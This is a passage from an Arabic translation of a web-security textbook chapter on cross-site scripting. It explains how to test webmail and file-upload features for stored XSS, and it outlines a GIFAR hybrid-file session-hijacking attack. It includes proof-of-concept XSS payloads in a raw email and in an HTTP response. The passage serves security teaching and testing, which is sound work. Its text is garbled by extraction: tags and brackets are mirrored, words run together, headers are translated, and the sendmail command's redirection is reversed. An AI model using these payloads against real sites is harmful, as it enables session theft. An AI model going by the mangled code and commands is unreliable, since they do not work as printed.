‫ﺧﺎﺹﺑﻚ ﻋﻠﻰ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻭﺃﻥ ﺗﺮُﺳﻞِ ﺭﺳﺎﺉﻞ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻣﺨُﺘﻠﻔﺔ‪ ،‬ﻭﺃﻥ‬
‫ﺗﻌُﺎﻳﻦﻛﻞ ﺭﺳﺎﻟﺔ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺘﺤﺪﻳﺪ ﻣﺪﻯ ﻧﺠﺎﺡ ﺃﻱ ٍّﻣﻨﻬﺎ‪.‬‬

‫ﻷﺩﺍءﻫﺬﻩ ﺍﻟﻤﻬﻤﺔ ﺑﺪﻗﺔ‪ ،‬ﻋﻠﻴﻚ ﺇﺭﺳﺎﻝ ﺟﻤﻴﻊ ﺃﻧﻮﺍﻉ ﻣﺤﺘﻮﻯ ‪ HTML‬ﻏﻴﺮ ﺍﻟﻤﺄﻟﻮﻑ ﺿﻤﻦ ﺭﺳﺎﺉﻞ‬
‫ﺍﻟﺒﺮﻳﺪﺍﻹﻟﻜﺘﺮﻭﻧﻲ‪ ،‬ﻛﻤﺎ ﻭﺻﻔﻨﺎ ﻻﺧﺘﺒﺎﺭ ﺗﺠﺎﻭﺯﺍﺕ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ‪ .‬ﺇﺫﺍ ﺍﻗﺘﺼﺮﺕ ﻋﻠﻰ ﺍﺳﺘﺨﺪﺍﻡ‬
‫ﻋﻤﻴﻞﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﻗﻴﺎﺳﻲ‪ ،‬ﻓﻐﺎﻟﺒﺎً ﺳﺘﺠﺪ ﺃﻥ ﺗﺤﻜﻤﻚ ﻓﻲ ﻣﺤﺘﻮﻯ ﺍﻟﺮﺳﺎﻟﺔ ﺍﻟﺨﺎﻡ ﻏﻴﺮ ﻛﺎﻑ‪ ٍ،‬ﺃﻭ ﻗﺪ‬
‫ﻳﻘﻮﻡﺍﻟﻌﻤﻴﻞ ﺑﻨﻔﺴﻪ ﺑﺘﻨﻘﻴﺢ ﺃﻭ "ﺗﻨﻈﻴﻒ" ﻗﻮﺍﻋﺪﻙ ﺍﻟﻨﺤﻮﻳﺔ ﺍﻟﻤﺸﻮﻫﺔ ﻋﻤﺪﺍً‪.‬‬

‫ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻳﻔُﻀﻞّ ﻋﺎﺩﺓ ًﺍﺳﺘﺨﺪﺍﻡ ﻭﺳﻴﻠﺔ ﺑﺪﻳﻠﺔ ﻹﻧﺸﺎء ﺭﺳﺎﺉﻞ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺗﺘُﻴﺢ ﻟﻚ‬
‫ﺍﻟﺘﺤﻜﻢّﺍﻟﻤﺒﺎﺷﺮ ﻓﻲ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻟﺮﺳﺎﺉﻞ‪ .‬ﺇﺣﺪﻯ ﻫﺬﻩ ﺍﻟﻄﺮﻕ ﻫﻲ ﺍﺳﺘﺨﺪﺍﻡ ﻧﻈﺎﻡ ﻳﻮﻧﻜﺲ‪.‬ﺇﺭﺳﺎﻝ ﺍﻟﺒﺮﻳﺪ‬
‫ﺍﻹﻟﻜﺘﺮﻭﻧﻲﺍﻷﻣﺮ‪ .‬ﻳﺠﺐ ﺃﻥ ﻳﻜﻮﻥ ﺟﻬﺎﺯ ﺍﻟﻜﻤﺒﻴﻮﺗﺮ ﻟﺪﻳﻚ ﻣﻬُﻴﺄ ًﺑﺘﻔﺎﺻﻴﻞ ﺧﺎﺩﻡ ﺍﻟﺒﺮﻳﺪ ﺍﻟﺬﻱ ﺳﻴﺴﺘﺨﺪﻣﻪ‬
‫ﻹﺭﺳﺎﻝﺍﻟﺒﺮﻳﺪ ﺍﻟﺼﺎﺩﺭ‪ .‬ﺑﻌﺪ ﺫﻟﻚ‪ ،‬ﻳﻤﻜﻨﻚ ﺇﻧﺸﺎء ﺑﺮﻳﺪﻙ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺨﺎﻡ ﻓﻲ ﻣﺤﺮﺭ ﻧﺼﻮﺹ ﻭﺇﺭﺳﺎﻟﻪ‬
‫ﺑﺎﺳﺘﺨﺪﺍﻡﻫﺬﺍ ﺍﻷﻣﺮ‪:‬‬

‫‪sendmail -t test@example.org > email.txt‬‬


‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪484‬‬

‫ﻓﻴﻤﺎﻳﻠﻲ ﻣﺜﺎﻝ ﻟﻤﻠﻒ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺧﺎﻡ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ ﺇﻟﻰ ﺍﺧﺘﺒﺎﺭ ﺣﻤﻮﻻﺕ ‪ XSS‬ﺍﻟﻤﺨﺘﻠﻔﺔ‬
‫ﻭﺗﺠﺎﻭﺯﺍﺕﺍﻟﻤﺮﺷﺤﺎﺕ ﻓﻲ ﻧﺺ ﺍﻟﺮﺳﺎﻟﺔ‪ ،‬ﻳﻤﻜﻨﻚ ﺃﻳﻀﺎً ﺗﺠﺮﺑﺔ ﺗﺤﺪﻳﺪ‪-‬‬
‫ﺷﻲءﻣﺨﺘﻠﻒﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﻭﻣﺠﻤﻮﻋﺔ ﺍﻷﺣﺮﻑ‪:‬‬

‫ﺇﺻﺪﺍﺭ‪MIME: 1.0‬‬
‫ﻣﻦ‪test@example.org:‬‬
‫ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯ‪text/html :‬؛ ﻣﺠﻤﻮﻋﺔ ﺍﻷﺣﺮﻑ=‪ us-ascii‬ﺗﺮﻣﻴﺰ ﻧﻘﻞ‬
‫ﺍﻟﻤﺤﺘﻮﻯ‪ 7:‬ﺑﺖ‬
‫ﺍﻟﻤﻮﺿﻮﻉ‪:‬ﺍﺧﺘﺒﺎﺭ ‪XSS‬‬

‫<‪>html‬‬
‫>ﺍﻟﺠﺴﻢ<‬
‫<‪>img src=``onerror=alert)1(< >/body‬‬

‫<‪>/html‬‬
‫‪.‬‬

‫ﺍﺧﺘﺒﺎﺭ‪ XSS‬ﻓﻲ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻤﺤﻤﻠﺔ‬


‫ﻣﻦﻣﺼﺎﺩﺭ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨُﺰﻧّﺔ ﺍﻟﺸﺎﺉﻌﺔ‪ ،‬ﻭﺍﻟﺘﻲ ﻏﺎﻟﺒﺎً ﻣﺎ ﻳﺘﻢ ﺇﻏﻔﺎﻟﻬﺎ‪ ،‬ﺍﻟﺴﻤﺎﺡ ﻟﻠﺘﻄﺒﻴﻘﺎﺕ ﺑﺮﻓﻊ‬
‫ﻣﻠﻔﺎﺕﻳﻤُﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ ﺗﻨﺰﻳﻠﻬﺎ ﻭﻋﺮﺿﻬﺎ‪ .‬ﻳﻜﺜﺮ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺨﺎﺻﻴﺔ ﻓﻲ ﺗﻄﺒﻴﻘﺎﺕ‬
‫ﺍﻟﻴﻮﻡ‪.‬ﻓﺒﺎﻹﺿﺎﻓﺔ ﺇﻟﻰ ﻭﻇﺎﺉﻒ ﺳﻴﺮ ﺍﻟﻌﻤﻞ ﺍﻟﺘﻘﻠﻴﺪﻳﺔ ﺍﻟﻤﺼُﻤﻤﺔ ﻟﻤﺸﺎﺭﻛﺔ ﺍﻟﻤﻠﻔﺎﺕ‪ ،‬ﻳﻤُﻜﻦ ﺇﺭﺳﺎﻝ‬
‫ﺍﻟﻤﻠﻔﺎﺕﻛﻤﺮﻓﻘﺎﺕ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺇﻟﻰ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ‪ .‬ﻛﻤﺎ ﻳﻤُﻜﻦ ﺇﺭﻓﺎﻕ ﻣﻠﻔﺎﺕ‬
‫ﺍﻟﺼﻮﺭﺑﺘﺪﻭﻳﻨﺎﺕ ﺍﻟﻤﺪﻭﻧﺎﺕ‪ ،‬ﻭﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻛﺼﻮﺭ ﺷﺨﺼﻴﺔ ﻣﺨُﺼﺼﺔ‪ ،‬ﺃﻭ ﻣﺸﺎﺭﻛﺘﻬﺎ ﻋﺒﺮ ﺃﻟﺒﻮﻣﺎﺕ‬
‫ﺍﻟﺼﻮﺭ‪.‬‬

‫ﻗﺪﺗﺆﺛﺮ ﻋﻮﺍﻣﻞ ﻣﺨﺘﻠﻔﺔ ﻋﻠﻰ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻋﺮﺿﺔ ﻟﻬﺠﻤﺎﺕ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻤﺤﻤﻠﺔ‪:‬‬

‫ﺃﺛﻨﺎءﺗﺤﻤﻴﻞ ﺍﻟﻤﻠﻒ‪ ،‬ﻗﺪ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﻘﻴﻴﺪ ﻣﻠﺤﻘﺎﺕ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ‪.‬‬ ‫‪-‬‬

‫ﺃﺛﻨﺎءﺗﺤﻤﻴﻞ ﺍﻟﻤﻠﻒ‪ ،‬ﻗﺪ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻔﺤﺺ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻟﻤﻠﻒ ﻟﻠﺘﺄﻛﺪ ﻣﻦ ﺗﻮﺍﻓﻘﻪ ﻣﻊ‬ ‫‪-‬‬

‫ﺍﻟﺘﻨﺴﻴﻖﺍﻟﻤﺘﻮﻗﻊ‪ ،‬ﻣﺜﻞ ‪.JPEG‬‬


‫ﺃﺛﻨﺎءﺗﻨﺰﻳﻞ ﺍﻟﻤﻠﻒ‪ ،‬ﻗﺪ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺈﺭﺟﺎﻉ ﺭﺳﺎﻟﺔ ﺧﻄﺄ‪.‬ﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﺭﺃﺱ ﻳﺤﺪﺩ ﻧﻮﻉ‬ ‫‪-‬‬

‫ﺍﻟﻤﺤﺘﻮﻯﺍﻟﺬﻱ ﻳﻌﺘﻘﺪ ﺍﻟﺘﻄﺒﻴﻖ ﺃﻥ ﺍﻟﻤﻠﻒ ﻳﺤﺘﻮﻱ ﻋﻠﻴﻪ‪،‬‬


‫ﻣﺜﻞﺍﻟﺼﻮﺭﺓ‪.jpeg/‬‬

‫ﺃﺛﻨﺎءﺗﻨﺰﻳﻞ ﺍﻟﻤﻠﻒ‪ ،‬ﻗﺪ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺈﺭﺟﺎﻉ ﺭﺳﺎﻟﺔ ﺧﻄﺄ‪.‬ﺍﻟﻤﺤﺘﻮﻯ‪-‬ﺍﻟﺘﺼﺮﻑ‬ ‫‪-‬‬

‫ﻳﺤُﺪﺩﻋﻨﻮﺍﻥ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﺬﻱ ﻳﺠﺐ ﺃﻥ ﻳﺤﻔﻆ ﺍﻟﻤﻠﻒ ﻋﻠﻰ ﺍﻟﻘﺮﺹ‪ .‬ﺃﻣﺎ ﺑﺎﻟﻨﺴﺒﺔ ﻷﻧﻮﺍﻉ‬
‫ﺍﻟﻤﺤﺘﻮﻯﺫﺍﺕ ﺍﻟﺼﻠﺔ‪ ،‬ﻓﺴﻴﻌﺎﻟﺞ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻠﻒ ﻭﻳﻌﺮﺿﻪ ﺩﺍﺧﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ‪.‬‬

‫ﻋﻨﺪﻓﺤﺺ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ‪ ،‬ﺃﻭﻝ ﻣﺎ ﻋﻠﻴﻚ ﻓﻌﻠﻪ ﻫﻮ ﻣﺤﺎﻭﻟﺔ ﺗﺤﻤﻴﻞ ﻣﻠﻒ ‪ HTML‬ﺑﺴﻴﻂ ﻳﺤﺘﻮﻱ‬
‫ﻋﻠﻰﻧﺺ ﺑﺮﻣﺠﻲ ﻹﺛﺒﺎﺕ ﺍﻟﻤﻔﻬﻮﻡ‪ .‬ﺇﺫﺍ ﺗﻢ ﻗﺒﻮﻝ ﺍﻟﻤﻠﻒ‪ ،‬ﻓﺤﺎﻭﻝ ﺗﻨﺰﻳﻠﻪ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﻤﻌﺘﺎﺩﺓ‪ .‬ﺇﺫﺍ ﺗﻢ‬
‫ﺇﺭﺟﺎﻉﺍﻟﻤﻠﻒ ﺍﻷﺻﻠﻲ ﺩﻭﻥ ﺗﻌﺪﻳﻞ‪ ،‬ﻭﺗﻢ ﺗﻨﻔﻴﺬ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ‪ ،‬ﻓﻤﻦ ﺍﻟﻤﺆﻛﺪ ﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻌﺮﺽ‬
‫ﻟﻠﺨﻄﺮ‪.‬‬
‫‪485‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺇﺫﺍﻗﺎﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺤﻈﺮ ﺍﻟﻤﻠﻒ ﺍﻟﺬﻱ ﺗﻢ ﺗﺤﻤﻴﻠﻪ‪ ،‬ﻓﺤﺎﻭﻝ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻣﺘﺪﺍﺩﺍﺕ ﻣﻠﻔﺎﺕ ﻣﺨﺘﻠﻔﺔ‪ ،‬ﺑﻤﺎ‬
‫ﻓﻲﺫﻟﻚ ‪.‬ﺭﺳﺎﻟﺔ ﻗﺼﻴﺮﺓﻭ ‪jpg..‬ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﻘﺒﻞ ﻣﻠﻔﺎً ﻳﺤﺘﻮﻱ ﻋﻠﻰ ‪ HTML‬ﻋﻨﺪ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻣﺘﺪﺍﺩ‬
‫ﻣﺨﺘﻠﻒ‪،‬ﻓﻘﺪ ﻳﻈﻞ ﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ‪ ،‬ﻭﻳﻌﺘﻤﺪ ﺫﻟﻚ ﻋﻠﻰ ﻛﻴﻔﻴﺔ ﻭﺻﻮﻝ ﺍﻟﻤﻠﻒ ﺃﺛﻨﺎء ﺍﻟﺘﻨﺰﻳﻞ‪ .‬ﻏﺎﻟﺒﺎً ﻣﺎ‬
‫ﺗﻜﻮﻥﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ‪ .‬ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺇﺭﺳﺎﻝ ﺭﺳﺎﺉﻞ ﺑﺮﻳﺪ‬
‫ﺇﻟﻜﺘﺮﻭﻧﻲﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺮﻓﻖ ﺻﻮﺭﺓ ﺫﻱ ﻣﻈﻬﺮ ﺟﺬﺍﺏ‪ ،‬ﻣﻤﺎ ﻗﺪ ﻳﻌُﺮﺽّ ﺟﻠﺴﺔ ﺃﻱ ﻣﺴﺘﺨﺪﻡ ﻳﻄﻠﻊ‬
‫ﻋﻠﻴﻪﻟﻠﺨﻄﺮ‪.‬‬

‫ﺣﺘﻰﻟﻮ ﺃﻋﺎﺩ ﺍﻟﺘﻄﺒﻴﻖﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﺇﺫﺍ ﻛﺎﻥ ﺭﺃﺱ ﺍﻟﻤﻠﻒ ﻳﺤُﺪﺩ ﺃﻥ ﺍﻟﻤﻠﻒ ﺍﻟﻤﻨُﺰﻝَّ ﺻﻮﺭﺓ‪ ،‬ﻓﻘﺪ ﺗﻌُﺎﻟﺞ‬
‫ﺑﻌﺾﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻣﺤﺘﻮﺍﻩ ﺑﺼﻴﻐﺔ ‪ HTML‬ﺇﺫﺍ ﻛﺎﻥ ﻫﺬﺍ ﻫﻮ ﻣﺤﺘﻮﻯ ﺍﻟﻤﻠﻒ ﺍﻟﻔﻌﻠﻲ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ‬
‫ﺍﻟﻤﺜﺎﻝ‪:‬‬

‫ﻣﻮﺍﻓﻖ‪HTTP/1.1 200‬‬
‫ﻃﻮﻝﺍﻟﻤﺤﺘﻮﻯ‪25 :‬‬
‫ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯ‪image/jpeg :‬‬

‫<‪>/script‬ﺗﻨﺒﻴﻪ)‪>script<(1‬‬

‫ﻛﺎﻧﺖﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﻘﺪﻳﻤﺔ ﻣﻦ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﺗﻌﻤﻞ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ‪ .‬ﺇﺫﺍ ﻃﻠﺐ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫‪.jpg fi‬ﻣﺒﺎﺷﺮﺓ )ﻭﻟﻴﺲ ﻋﺒﺮ > ﻣﻀﻤﻦ ‪le‬ﺍﻟﺼﻮﺭﺓ<ﺇﺫﺍ ﺗﻢ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻌﻼﻣﺔ )‪ ،(tag‬ﻭﺗﻢ ﺍﺳﺘﻼﻡ‬
‫ﺍﻻﺳﺘﺠﺎﺑﺔﺍﻟﺴﺎﺑﻘﺔ‪ ،‬ﻓﺴﻴﻌُﺎﻟﺞ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻣﺤﺘﻮﺍﻫﺎ ﻛـ ‪ .HTML‬ﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ‬
‫ﺗﻌﺪﻳﻞﻫﺬﺍ ﺍﻟﺴﻠﻮﻙ ﻣﻨﺬ ﺫﻟﻚ ﺍﻟﺤﻴﻦ‪ ،‬ﻓﻤﻦ ﺍﻟﻤﺤﺘﻤﻞ ﺃﻥ ﺗﺘﺼﺮﻑ ﻣﺘﺼﻔﺤﺎﺕ ﺃﺧﺮﻯ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ‬
‫ﻓﻲﺍﻟﻤﺴﺘﻘﺒﻞ‪.‬‬

‫ﻫﺠﻤﺎﺕﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻬﺠﻴﻨﺔ‬
‫ﻓﻲﻛﺜﻴﺮ ﻣﻦ ﺍﻷﺣﻴﺎﻥ‪ ،‬ﻭﻟﻠﺪﻓﺎﻉ ﻋﻦ ﺍﻟﻨﻔﺲ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻤﺬﻛﻮﺭﺓ ﺳﺎﺑﻘﺎً‪ ،‬ﺗﺠُﺮﻱ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺑﻌﺾ‬
‫ﻋﻤﻠﻴﺎﺕﺍﻟﺘﺤﻘﻖ ﻣﻦ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻟﻤﻠﻒ ﺍﻟﻤﺤُﻤﻞّ ﻟﻠﺘﺄﻛﺪ ﻣﻦ ﺍﺣﺘﻮﺍﺉﻪ ﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ﺑﺎﻟﺼﻴﻐﺔ‬
‫ﺍﻟﻤﺘﻮﻗﻌﺔ‪،‬ﻣﺜﻞ ﺻﻮﺭﺓ‪ .‬ﻗﺪ ﺗﻈﻞ ﻫﺬﻩ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ‪ ،‬ﺑﺎﺳﺘﺨﺪﺍﻣﻬﺎ "ﻣﻠﻔﺎﺕ ﻫﺠﻴﻨﺔ"‬
‫ﺗﺠﻤﻊﺻﻴﻐﺘﻴﻦ ﻣﺨﺘﻠﻔﺘﻴﻦ ﺩﺍﺧﻞ ﺍﻟﻤﻠﻒ ﻧﻔﺴﻪ‪.‬‬

‫ﻣﻦﺃﻣﺜﻠﺔ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻬﺠﻴﻨﺔ ﻣﻠﻒ ‪ ،GIFAR‬ﺍﻟﺬﻱ ﺍﺑﺘﻜﺮﻩ ﺑﻴﻠﻲ ﺭﻳﻮﺱ‪ .‬ﻳﺤﺘﻮﻱ ﻣﻠﻒ ‪ GIFAR‬ﻋﻠﻰ‬
‫ﺑﻴﺎﻧﺎﺕﺑﺼﻴﻐﺘﻲ ‪ GIF‬ﻭ‪) JAR‬ﺃﺭﺷﻴﻒ ﺟﺎﻓﺎ(‪ ،‬ﻭﻫﻮ ﻓﻲ ﺍﻟﻮﺍﻗﻊ ﻧﺴﺨﺔ ﺻﺎﻟﺤﺔ ﻟﻜﻼ ﺍﻟﺼﻴﻐﺘﻴﻦ‪ .‬ﻭﻳﺮﺟﻊ‬
‫ﺫﻟﻚﺇﻟﻰ ﺃﻥ ﺑﻴﺎﻧﺎﺕ ﺍﻟﺘﻌﺮﻳﻒ ﺍﻟﺨﺎﺻﺔ ﺑﺼﻴﻐﺔ ‪ GIF‬ﺗﻜﻮﻥ ﻓﻲ ﺑﺪﺍﻳﺘﻬﺎ‪ ،‬ﺑﻴﻨﻤﺎ ﺗﻜﻮﻥ ﺑﻴﺎﻧﺎﺕ ﺍﻟﺘﻌﺮﻳﻒ‬
‫ﺍﻟﺨﺎﺻﺔﺑﺼﻴﻐﺔ ‪ JAR‬ﻓﻲ ﻧﻬﺎﻳﺘﻬﺎ‪ .‬ﻭﻟﺬﻟﻚ‪ ،‬ﻓﺈﻥ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﻲ ﺗﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﻣﺤﺘﻮﻳﺎﺕ‬
‫ﺍﻟﻤﻠﻔﺎﺕﺍﻟﻤﺤﻤﻠّﺔ‪ ،‬ﻭﺍﻟﺘﻲ ﺗﺴﻤﺢ ﺑﺎﻟﻤﻠﻔﺎﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ‪ ،GIF‬ﺗﻘﺒﻞ ﻣﻠﻔﺎﺕ ‪ GIF‬ﻋﻠﻰ‬
‫ﺃﻧﻬﺎﺻﺎﻟﺤﺔ‪.‬‬

‫ﺗﺘﻀﻤﻦﻋﻤﻠﻴﺔ ﻫﺠﻮﻡ ﺍﻟﻤﻠﻒ ﺍﻟﻤﺤﻤﻞّ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﻠﻒ ‪ GIFAR‬ﻋﺎﺩﺓ ًﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬

‫ﻳﺠﺪﺍﻟﻤﻬﺎﺟﻢ ﻭﻇﻴﻔﺔ ﺗﻄﺒﻴﻘﻴﺔ ﺗﺘﻴﺢ ﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﺗﻨﺰﻳﻞ ﻣﻠﻔﺎﺕ ‪ GIF‬ﺍﻟﺘﻲ ﺗﻢ‬ ‫‪-‬‬

‫ﺗﺤﻤﻴﻠﻬﺎﺑﻮﺍﺳﻄﺔ ﻣﺴﺘﺨﺪﻡ ﻭﺍﺣﺪ‪ ،‬ﻣﺜﻞ ﺻﻮﺭﺓ ﺍﻟﻤﻠﻒ ﺍﻟﺸﺨﺼﻲ ﻟﻠﻤﺴﺘﺨﺪﻡ ﻓﻲ ﺗﻄﺒﻴﻖ‬


‫ﺷﺒﻜﺔﺍﻟﺘﻮﺍﺻﻞ ﺍﻻﺟﺘﻤﺎﻋﻲ‪.‬‬
‫ﻳﻘﻮﻡﺍﻟﻤﻬﺎﺟﻢ ﺑﺈﻧﺸﺎء ﻣﻠﻒ ‪ GIFAR‬ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻛﻮﺩ ‪ Java‬ﺍﻟﺬﻱ ﻳﺨﺘﻄﻒ ﺟﻠﺴﺔ ﺃﻱ‬ ‫‪-‬‬

‫ﻣﺴﺘﺨﺪﻡﻳﻘﻮﻡ ﺑﺘﻨﻔﻴﺬﻩ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪486‬‬

‫ﻳﺤُﻤﻞّﺍﻟﻤﻬُﺎﺟﻢ ﺍﻟﻤﻠﻒ ﻛﺼﻮﺭﺓ ﻣﻠﻔﻪ ﺍﻟﺸﺨﺼﻲ‪ .‬ﻭﻷﻥ ﺍﻟﻤﻠﻒ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺻﻮﺭﺓ ‪GIF‬‬ ‫‪-‬‬

‫ﺻﺎﻟﺤﺔ‪،‬ﻳﻘﺒﻠﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ‪.‬‬
‫ﻳﺤُﺪﺩﺍﻟﻤﻬﺎﺟﻢ ﻣﻮﻗﻌﺎً ﺇﻟﻜﺘﺮﻭﻧﻴﺎً ﺧﺎﺭﺟﻴﺎً ﻣﻨﺎﺳﺒﺎً ﻟﺸﻦ ﻫﺠﻮﻡ ﻣﺴﺘﻐﻼً ﺍﻟﻤﻠﻒ ﺍﻟﻤﺤُﻤﻞّ‪ .‬ﻗﺪ‬ ‫‪-‬‬

‫ﻳﻜﻮﻥﻫﺬﺍ ﺍﻟﻤﻮﻗﻊ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﻬﺎﺟﻢ‪ ،‬ﺃﻭ ﻣﻮﻗﻌﺎً ﺗﺎﺑﻌﺎً ﻟﺠﻬﺔ ﺧﺎﺭﺟﻴﺔ ﻳﺴﻤﺢ ﺑﺈﻧﺸﺎء‬
‫ﻣﻠﻔﺎﺕ‪ HTML‬ﻋﺸﻮﺍﺉﻴﺔ‪ ،‬ﻣﺜﻞ ﻣﺪﻭﻧﺔ‪.‬‬

‫ﻋﻠﻰﺍﻟﻤﻮﻗﻊ ﺍﻟﺨﺎﺭﺟﻲ‪ ،‬ﻳﺴﺘﺨﺪﻡ ﺍﻟﻤﻬﺎﺟﻢ >ﺗﻄﺒﻴﻖ ﺻﻐﻴﺮ<ﺃﻭ >ﻛﺎﺉﻦ<ﻋﻼﻣﺔ ﻟﺘﺤﻤﻴﻞ ﻣﻠﻒ‬ ‫‪-‬‬

‫‪ GIFAR‬ﻣﻦ ﻣﻮﻗﻊ ﺍﻟﺘﻮﺍﺻﻞ ﺍﻻﺟﺘﻤﺎﻋﻲ ﻛﺄﺩﺍﺓ ‪.Java‬‬


‫ﻋﻨﺪﻣﺎﻳﺰﻭﺭ ﻣﺴﺘﺨﺪﻡ ﻣﻮﻗﻌﺎً ﺧﺎﺭﺟﻴﺎً‪ ،‬ﻳﻨُﻔﺬَّ ﺗﻄﺒﻴﻖ ﺟﺎﻓﺎ ﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﻬﺎﺟﻢ ﻓﻲ ﻣﺘﺼﻔﺤﻪ‪.‬‬ ‫‪-‬‬

